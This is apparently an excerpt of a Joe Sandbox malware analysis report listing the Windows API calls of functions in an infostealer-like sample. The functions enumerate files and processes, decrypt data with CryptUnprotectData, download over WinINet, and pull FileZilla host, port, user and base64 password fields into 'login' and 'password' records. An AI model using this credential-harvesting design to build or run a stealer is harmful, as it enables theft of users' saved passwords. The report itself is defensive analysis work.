InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74
c.A, xrefs: 00404CC1, 00404DA0

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e0fb32c2b49a3628ef0db0b32d9e6413cf89a0ddcd34344af24a8c3d0c9d00e8
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: e0fb32c2b49a3628ef0db0b32d9e6413cf89a0ddcd34344af24a8c3d0c9d00e8
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 27a12c147230109596815d27fda51e1225c8912b73f43a5dbcaf33a3a5f2d117
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: 27a12c147230109596815d27fda51e1225c8912b73f43a5dbcaf33a3a5f2d117
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6f0a22a728bb2f8adf36346e28cae612b8575b8d5d4b0eead7bcc022ce4b1a1f
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 6f0a22a728bb2f8adf36346e28cae612b8575b8d5d4b0eead7bcc022ce4b1a1f
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 923dee9ca235b6658178258c0ce522f34874b298818bd63a0069fc27f94d2d97
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 923dee9ca235b6658178258c0ce522f34874b298818bd63a0069fc27f94d2d97
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,00A59268,00000000,?,0041D758,00000000,?,00000000,00000000,?,00A59978,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,00A53B18,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,00A33B10), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,00A5AF08), ref: 004072FB
lstrcat.KERNEL32(?,00A5AFC8), ref: 0040730F
lstrcat.KERNEL32(?,00A5B088), ref: 00407322
lstrcat.KERNEL32(?,00A5AF20), ref: 00407336
lstrcat.KERNEL32(?,00A3CC78), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,00A5AF08), ref: 00407399
lstrcat.KERNEL32(?,00A5AFC8), ref: 004073AD
lstrcat.KERNEL32(?,00A5B088), ref: 004073C1
lstrcat.KERNEL32(?,00A5AF20), ref: 004073D4
lstrcat.KERNEL32(?,00A3CCE0), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,00A5AF08), ref: 00407438
lstrcat.KERNEL32(?,00A5AFC8), ref: 0040744B
lstrcat.KERNEL32(?,00A5B088), ref: 0040745F
lstrcat.KERNEL32(?,00A5AF20), ref: 00407473
lstrcat.KERNEL32(?,00A56630), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,00A5AF08), ref: 004074D6
lstrcat.KERNEL32(?,00A5AFC8), ref: 004074EA
lstrcat.KERNEL32(?,00A5B088), ref: 004074FD
lstrcat.KERNEL32(?,00A5AF20), ref: 00407511
lstrcat.KERNEL32(?,00A56698), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,00A5AF08), ref: 00407574
lstrcat.KERNEL32(?,00A5AFC8), ref: 00407588
lstrcat.KERNEL32(?,00A5B088), ref: 0040759C
lstrcat.KERNEL32(?,00A5AF20), ref: 004075AF
lstrcat.KERNEL32(?,00A56700), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,00A5AF08), ref: 00407613
lstrcat.KERNEL32(?,00A5AFC8), ref: 00407626
lstrcat.KERNEL32(?,00A5B088), ref: 0040763A
lstrcat.KERNEL32(?,00A5AF20), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(2D35A020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,00A53D58), ref: 004077DB
lstrcat.KERNEL32(?,00A59A18), ref: 004077EE
lstrlen.KERNEL32(2D35A020), ref: 004077FB
lstrlen.KERNEL32(2D35A020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: e0550fd9436cdc542b66e11ec3ec63d3b190a9f64b3f8669f3b55b86830858f9
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: e0550fd9436cdc542b66e11ec3ec63d3b190a9f64b3f8669f3b55b86830858f9
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
